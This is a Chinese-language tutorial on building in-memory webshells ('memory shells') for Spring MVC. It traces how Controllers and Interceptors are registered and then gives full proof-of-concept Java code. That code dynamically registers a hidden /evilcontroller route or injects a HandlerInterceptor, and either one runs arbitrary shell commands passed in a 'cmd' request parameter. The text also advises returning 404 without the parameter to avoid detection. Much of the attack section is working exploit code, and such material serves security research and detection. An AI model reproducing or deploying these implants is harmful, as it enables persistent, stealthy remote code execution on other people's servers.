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Spring内存马
Spring是IOC和AOP的容器框架,SpringMVC则是基于Spring功能的Web框架。
IOC容器:IOC容器负责实例化、定位、配置应用程序对象及建立对象依赖。Spring中用BeanFactory实现
Spring作为Java框架,核心组件有三个:Core、Context、Bean。其中context又叫IOC容器;Bean构成应用程序主干,Bean就是对象,由IOC容器统一管理;Core为处理对象间关系的方法
依赖注入:把有依赖关系的类放到容器中,解析出这些类的实例
spring对象间的依赖关系可以用配置文件的<bean>
定义。context的顶级父类ApplicationContext继承了BeanFactory。
内存马一般的构造方式就是模拟组件注册,注入恶意组件
springMVC环境搭建
新建maven项目,项目名右键添加web框架
配置tomcat:设置tomcat主目录以及Application context路径
pom.xml里加入sping MVC5.3.21以及其他依赖
<dependencies>
<!-- SpringMVC -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.3.21</version>
</dependency>
<!-- 日志 -->
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-classic</artifactId>
<version>1.2.3</version>
</dependency>
<!-- ServletAPI -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
<!-- Spring5和Thymeleaf整合包 -->
<dependency>
<groupId>org.thymeleaf</groupId>
<artifactId>thymeleaf-spring5</artifactId>
<version>3.0.12.RELEASE</version>
</dependency>
</dependencies>
在web.xml中添加DispatcherServlet。DispatcherServlet的主要作用将web请求,根据配置的URL pattern,将请求分发给Controller和View。
<servlet>
<servlet-name>DispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:SpringMVC.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>DispatcherServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
在classpath,我这里是src/main/resources下创建SpringMVC.xml核心配置文件
创建TestController类:
package org.example.springmvc;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
public class TestController {
@RequestMapping("/index")
public String index(){
return "index";
}
}
修改SpringMVC.xml。这里sping会自动扫描base-package下的java文件,如果文件中有@Service,@Component,@Repository,@Controller等这些注解的类,则把这些类注册为bean
属性use-default-filters=”false”表示不要使用默认的过滤器
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context-3.0.xsd
http://www.springframework.org/schema/mvc
http://www.springframework.org/schema/mvc/spring-mvc-4.3.xsd">
<mvc:annotation-driven/>
<context:component-scan base-package="org.example.springmvc" />
<bean
class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix">
<value>/WEB-INF/</value>
</property>
<property name="suffix">
<value>.jsp</value>
</property>
</bean>
</beans>
prefix表示路径,suffix指定后缀
在WEB-INF下创建lib目录,将可用库全部拖进去
当访问index时,返回index,根据SpringMVC.xml配置的prefix,去/WEB-INF/
下寻找jsp后缀的文件。
比如在/WEB-INF/下存放index.jsp,访问index时会通过web.xml中导入的DispatcherServlet处理请求,DispatcherServlet发送到Controller注解类,也就是TestController# return index。然后由springMVC视图解析器去/WEB-INF/下寻找index且为jsp后缀的文件。
其实如果嫌配置麻烦,可以直接使用springboot。然后直接写Controller
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.4.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
基础知识
controller
Controller负责处理DispatcherServlet分发的请求。将用户请求处理后封装成model返回给view。
在springmvc中用@Controller标记一个类为Controller。然后用@RequestMapping等来定义URL请求和Controller方法间的映射
ApplicationContext
org.springframework.context.ApplicationContext接口代表了IoC容器,该接口继承了BeanFactory接口。
ContextLoaderListener
用来初始化全局唯一的Root Context,也就是Root WebApplicationContext.该WebApplicationContext和其他子Context共享IOC容器,共享bean
访问和操作bean就需要获得当前环境ApplicationContext
源码分析
在Controller类打上断点,然后访问index
Controller的注册
在DoDispatch处由DispatcherServlet处理web请求
在DispatcherServlet调用HandlerAdapter#handle处理request和response。并且此处用getHandler方法获取了mappedHandler的Handler
往上看,mappedHandler是对handlerMappings进行遍历。
持续跟进mapping.getHandler(request)发现,AbstractHandlerMethodMapping#getHandlerInternal()中对mappingRegistry进行上锁,最后解锁。(不自觉想起了死锁)mappingRegistry存储了路由信息。
在lookupHandlerMethod方法,从mappingRegistry中获取了路由
也就是说模拟注册向mappingRegistry中添加内存马路由,就能注入内存马。
在AbstractHandlerMethodMapping中就提供了registryMapping添加路由。但是该类为抽象类。它的子类RequestMappingHandlerMapping能进行实例化
RequestMappingHandlerMapping分析
AbstractHandlerMethodMapping的afterProperties用于bean初始化
initHandlerMethod()遍历所有bean传入processCandidateBean处理bean,也就是controller
在processCandidateBean中,getType获取bean类型,通过isHandler进行类型判断,如果bean有controller或RequestMapping注解,就进入detectHandlerMethods解析bean
在detectHandlerMethods中,用getMappingForMethod创建RequestMappingInfo
处理完后用registryHandlerMethod建立方法到RequestyMappingInfo的映射。也就是注册路由
mappingRegistry路由信息
registry传入的参数mapping,handler,method。mapping存储了方法映射的URL路径。handler为controller对象。method为反射获取的方法
Controller内存马构造
1.获取WebApplicationContext
在内存马的构造中,都会获取容器的context对象。在Tomcat中获取的是StandardContext,spring中获取的是WebApplicationContext
。(在controller类声明处打上断点可以看到初始化WebApplicationContext
的过程)WebApplicationContext继承了BeanFactory,所以能用getBean直接获取RequestMappingHandlerMapping,进而注册路由。
所以重点是如何获取WebApplicationContext
原理:
获取WebApplicationContext:
由于webApplicationContext对象存放于servletContext中。并且键值为
WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE
所以可以直接用servletContext#getAttribute()获取属性值
WebApplicationContext wac = (WebApplicationContext)servletContext.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE);
webApplicationContextUtils提供了下面两种方法获取webApplicationContext。需要传入servletContext
WebApplicationContextUtils.getRequeiredWebApplicationContext(ServletContext s);
WebApplicationContextUtils.getWebApplicationContext(ServletContext s);
spring 5的WebApplicationContextUtils已经没有getWebApplicationContext方法
获取ServletContext
通过request对象或者ContextLoader获取ServletContext
// 1 ServletContext servletContext = request.getServletContext(); // 2 ServletContext servletContext = ContextLoader.getCurrentWebApplicationContext().getServletContext();
获取request可以用RequestContextHolder
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder .getRequestAttributes()).getRequest();
spring中获取context的方式一般有以下几种
①直接通过ContextLoader获取,不用再经过servletContext。不过ContextLoader一般会被ban
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
②通过RequestContextHolder获取request,然后获取servletRequest后通过RequestContextUtils得到WebApplicationContext
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
③用RequestContextHolder直接从键值org.springframework.web.servlet.DispatcherServlet.CONTEXT中获取Context
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
④直接反射获取WebApplicationContext
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
filed.setAccessible(true);
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();
实际上常用的就2,3。
其中1获取的是Root WebApplicationContext,2,3通过RequestContextUtils获取的是叫dispatcherServlet-servlet的Child WebApplicationContext。
在有些Spring 应用逻辑比较简单的情况下,可能没有配置
ContextLoaderListener
、也没有类似applicationContext.xml
的全局配置文件,只有简单的servlet
配置文件,这时候通过1方法是获取不到Root WebApplicationContext
的。
2.模拟注册Controller
在spring2.5-3.1使用DefaultAnnotationHandlerMapping处理URL映射。spring3.1以后使用RequestMappingHandlerMapping
模拟注册Controller的方式一般有三种:
①源码分析就介绍的,registryMapping直接注册requestMapping
直接通过getBean就能获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
生成RequestMappingInfo。需要传入PatternsRequestCondition(Controller映射的URL)和RequestMethodsRequestCondition(HTTP请求方法)
PatternsRequestCondition url = new PatternsRequestCondition("/evilcontroller");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
恶意Controller:
@RestController
public class InjectedController {
public InjectedController(){
}
public void cmd() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
}
反射获取shell方法
Method method = InjectedController.class.getMethod("cmd");
调用ReqgistryMapping注册
requestMappingHandlerMapping.registerMapping(info, injectedController, method);
测试:
- 完整代码
package org.example.springmvc;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.util.Scanner;
@RestController
public class InjectController {
@RequestMapping("/inject")
public String inject() throws Exception{
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = InjectedController.class.getMethod("cmd");
PatternsRequestCondition url = new PatternsRequestCondition("/evilcontroller");
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
InjectedController injectedController = new InjectedController();
requestMappingHandlerMapping.registerMapping(info, injectedController, method);
return "Inject done";
}
@RestController
public class InjectedController {
public InjectedController(){
}
public void cmd() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
}
}
}
先访问Inject进行controller注册。然后访问controller映射路径evilcontroller,带上参数就能RCE
除此以外,还有两种方式能模拟注册Controller
②detectHandlerMethods直接注册
上面指出:在detectHandlerMethods中,用getMappingForMethod创建RequestMappingInfo
该方法接收handler参数,就能寻找到bean并注册controller
//1.在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("org.example.springmvc.InjectedController").newInstance());
// 2. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
// 3. 反射获得 detectHandlerMethods Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
//4.将 dynamicController 注册到 handlerMap 中
m1.invoke(requestMappingHandlerMapping, "dynamicController");
③利用registerHandler
上面的方法适用于spring3.1后RequestMappingHandlerMapping为映射器。当用DefaultAnnotationHandlerMapping为映射器时。该类顶层父类的registerHandler接收urlPath参数和handler参数来注册controller。不过不常用了,贴一下利用方法:
// 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("org.example.springmvc.InjectedController").newInstance());
// 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
// 3. 反射获得 registerHandler Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
// 4. 将 dynamicController 和 URL 注册到 handlerMap 中
m1.invoke(dh, "/favicon", "dynamicController");
还可以加个else不带参数时返回404状态码,减少被检测到的概率
Interceptor拦截器内存马构造
Interceptor和Tomcat和Filter过滤器很类似。区别如下:
- Interceptor基于反射,Filter基于函数回调
- Interceptor不依赖servlet容器
- Interceptor只能对action请求有用
- Interceptor可以访问action上下文,栈里的对象。Filter不能
- action生命周期中,Interceptor可以被多次调用,Filter只在容器初始化时调用一次
- Interceptor可以获取IOC容器中的bean,Filter不行
由以上区别,Interceptor的应用和过滤器也就不同,Interceptor用来做日志记录,过滤器用来过滤非法操作
源码分析
DispatcherServlet.doDispatch中,进行了getHandler,持续跟进发现最终调用的是AbstractHandlerMapping#getHandler(),该方法中调用了getHandlerExecutionChain()
该方法从adaptedInterceptors中把符合的拦截器添加到chain里。adaptedInterceptors就存放了全部拦截器
返回到DispatcherServlet#doDispatch(),getHandler后执行了applyPreHandle遍历执行了拦截器。
而且可以看到applyPreHandle后面就是ha.handle(),执行controller,所以说Interceptors是在controller之前执行的
师傅给出了Filter,controller,Interceptors执行的顺序:
- preHandle( ):该方法在控制器的处理请求方法前执行,其返回值表示是否中断后续操作,返回 true 表示继续向下执行,返回 false 表示中断后续操作。
- postHandle( ):该方法在控制器的处理请求方法调用之后、解析视图之前执行,可以通过此方法对请求域中的模型和视图做进一步的修改。
- afterCompletion( ):该方法在控制器的处理请求方法执行完成后执行,即视图渲染结束后执行,可以通过此方法实现一些资源清理、记录日志信息等工作。
1. 获取RequestMappingHandlerMapping
因为是在AbstractHandlerMapping类中,用addInterceptor向拦截器chain中添加的。该类是抽象类,可以获取其实现类RequestMappingHandlerMapping。一样的,前面提了四种方法。
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
2.反射获取adaptedInterceptors
获取adaptedInterceptors,private属性,使用反射。并且传入RequestMappingHandlerMapping初始化
Field field = null;
try {
field = RequestMappingHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
try {
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
3.添加恶意Interceptors
adaptInterceptors.add(new InjectEvilInterceptor("a"));
恶意Interceptor:需要实现HandlerInterceptor接口,通过重写preHandle进行RCE
public class InjectInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (request.getParameter("cmd") != null) {
try{
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
}
测试:
过滤器和controller可以直接使用@RequestMapping注解进行URL映射。拦截器Interceptor需要手动编写一个Config添加进去,或者直接修改配置文件spingmvc.xml
<mvc:interceptors>
<mvc:interceptor>
<mvc:mapping path="/**"/>
<bean class="org.example.InjectInterceptor"></bean>
</mvc:interceptor>
</mvc:interceptors>
POC:
package org.example.springmvc;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
public class InjectInterceptor implements HandlerInterceptor {
static {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = null;
try {
field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
try {
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
InjectInterceptor evilInterceptor = new InjectInterceptor();
adaptInterceptors.add(evilInterceptor);
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (request.getParameter("cmd") != null) {
try{
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
}
新建一个controller触发拦截器,作为入口
package org.example.springmvc;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@Controller
@RequestMapping("/InjectInterceptor")
public class EvilController {
@GetMapping
public void index(HttpServletRequest request, HttpServletResponse response) {
try {
Class.forName("org.example.springmvc.InjectInterceptor");
response.getWriter().println("Inject done!");
} catch (Exception e) {
e.printStackTrace();
}
}
}
参考:https://ho1aas.blog.csdn.net/article/details/123943546